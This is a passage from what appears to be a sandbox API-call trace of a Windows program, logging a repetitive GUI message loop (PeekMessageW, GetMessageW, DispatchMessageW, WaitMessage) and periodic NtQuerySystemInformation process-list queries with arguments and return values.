| out: lpMsg=0xb6f0bc) returned 1 [0279.611] IsWindowUnicode (hWnd=0x10166) returned 1 [0279.611] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0279.611] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0279.611] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0279.611] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.611] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.611] WaitMessage () returned 1 [0279.957] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0279.957] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x25b033c) returned 0x1 [0279.958] IsWindowUnicode (hWnd=0x1015e) returned 1 [0279.958] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0279.958] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x25b033c) returned 0x1 [0279.958] SetCursor (hCursor=0x10003) returned 0x10003 [0279.958] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0279.958] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0279.958] _TrackMouseEvent (in: lpEventTrack=0x2aa14c0 | out: lpEventTrack=0x2aa14c0) returned 1 [0279.958] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0279.958] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0279.958] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x1840156) returned 0x0 [0279.958] GetKeyState (nVirtKey=1) returned 0 [0279.959] GetKeyState (nVirtKey=2) returned 0 [0279.959] GetKeyState (nVirtKey=4) returned 0 [0279.959] GetKeyState (nVirtKey=5) returned 0 [0279.959] GetKeyState (nVirtKey=6) returned 0 [0279.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.959] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0279.959] WaitMessage () returned 1 [0280.063] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.063] IsWindowUnicode (hWnd=0x1015e) returned 1 [0280.063] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.063] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.063] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.063] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.063] IsWindowUnicode (hWnd=0x1015e) returned 1 [0280.063] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.063] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.063] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.063] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x1840156) returned 0x0 [0280.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.064] WaitMessage () returned 1 [0280.141] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.141] IsWindowUnicode (hWnd=0x10166) returned 1 [0280.141] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.141] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.141] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.142] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.142] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.142] WaitMessage () returned 1 [0280.250] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.250] IsWindowUnicode (hWnd=0x1015c) returned 1 [0280.250] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.250] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.250] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6ee0) returned 0x0 [0280.253] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.253] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.254] WaitMessage () returned 1 [0280.671] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.671] IsWindowUnicode (hWnd=0x10166) returned 1 [0280.672] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.672] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.672] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.672] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.672] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.672] WaitMessage () returned 1 [0280.965] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.965] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.965] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.965] IsWindowUnicode (hWnd=0x1015e) returned 1 [0280.965] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0280.965] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0280.965] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0280.965] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0280.965] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.965] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0280.965] WaitMessage () returned 1 [0281.201] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0281.201] IsWindowUnicode (hWnd=0x10166) returned 1 [0281.202] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0281.202] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0281.202] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0281.202] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0281.202] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0281.202] WaitMessage () returned 1 [0281.732] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0281.732] IsWindowUnicode (hWnd=0x10166) returned 1 [0281.732] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0281.732] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0281.732] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0281.733] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0281.733] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0281.733] WaitMessage () returned 1 [0282.262] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.262] IsWindowUnicode (hWnd=0x1015c) returned 1 [0282.262] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.262] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0282.262] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0282.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73f8) returned 0x0 [0282.263] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.263] IsWindowUnicode (hWnd=0x10166) returned 1 [0282.263] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.263] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0282.263] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0282.263] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0282.263] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0282.263] WaitMessage () returned 1 [0282.793] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.793] IsWindowUnicode (hWnd=0x10166) returned 1 [0282.793] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0282.793] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0282.793] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0282.793] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0282.793] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0282.793] WaitMessage () returned 1 [0283.323] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0283.323] IsWindowUnicode (hWnd=0x10166) returned 1 [0283.323] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0283.323] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0283.323] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0283.323] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0283.323] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0283.323] WaitMessage () returned 1 [0283.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0283.854] IsWindowUnicode (hWnd=0x10166) returned 1 [0283.854] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0283.854] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0283.854] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0283.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0283.854] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0283.854] WaitMessage () returned 1 [0284.275] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.275] IsWindowUnicode (hWnd=0x1015c) returned 1 [0284.275] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.275] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0284.275] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0284.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73f8) returned 0x0 [0284.276] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.276] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.276] WaitMessage () returned 1 [0284.400] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.400] IsWindowUnicode (hWnd=0x10166) returned 1 [0284.400] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.400] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0284.400] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0284.400] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.400] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.400] WaitMessage () returned 1 [0284.930] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.930] IsWindowUnicode (hWnd=0x10166) returned 1 [0284.930] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0284.930] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0284.930] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0284.931] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.931] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0284.931] WaitMessage () returned 1 [0285.461] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0285.461] IsWindowUnicode (hWnd=0x10166) returned 1 [0285.461] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0285.461] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0285.461] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0285.461] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0285.461] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0285.461] WaitMessage () returned 1 [0285.991] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0285.991] IsWindowUnicode (hWnd=0x10166) returned 1 [0285.991] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0285.991] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0285.991] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0285.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0285.992] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0285.992] WaitMessage () returned 1 [0286.299] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0286.299] IsWindowUnicode (hWnd=0x1015c) returned 1 [0286.299] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0286.299] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0286.299] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0286.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73f8) returned 0x0 [0286.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0286.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0286.300] WaitMessage () returned 1 [0286.522] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0286.522] IsWindowUnicode (hWnd=0x10166) returned 1 [0286.522] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0286.522] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0286.522] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0286.522] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0286.522] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0286.522] WaitMessage () returned 1 [0287.052] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0287.052] IsWindowUnicode (hWnd=0x10166) returned 1 [0287.052] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0287.052] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0287.052] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0287.052] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0287.052] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0287.052] WaitMessage () returned 1 [0287.582] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0287.582] IsWindowUnicode (hWnd=0x10166) returned 1 [0287.582] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0287.582] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0287.582] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0287.583] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0287.583] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0287.583] WaitMessage () returned 1 [0288.113] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.113] IsWindowUnicode (hWnd=0x10166) returned 1 [0288.113] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.113] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0288.113] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0288.113] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0288.113] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0288.113] WaitMessage () returned 1 [0288.301] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.301] IsWindowUnicode (hWnd=0x1015c) returned 1 [0288.301] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.301] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0288.302] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0288.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73f8) returned 0x0 [0288.303] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0288.303] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0288.303] WaitMessage () returned 1 [0288.643] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.643] IsWindowUnicode (hWnd=0x10166) returned 1 [0288.643] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0288.644] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0288.644] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0288.644] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 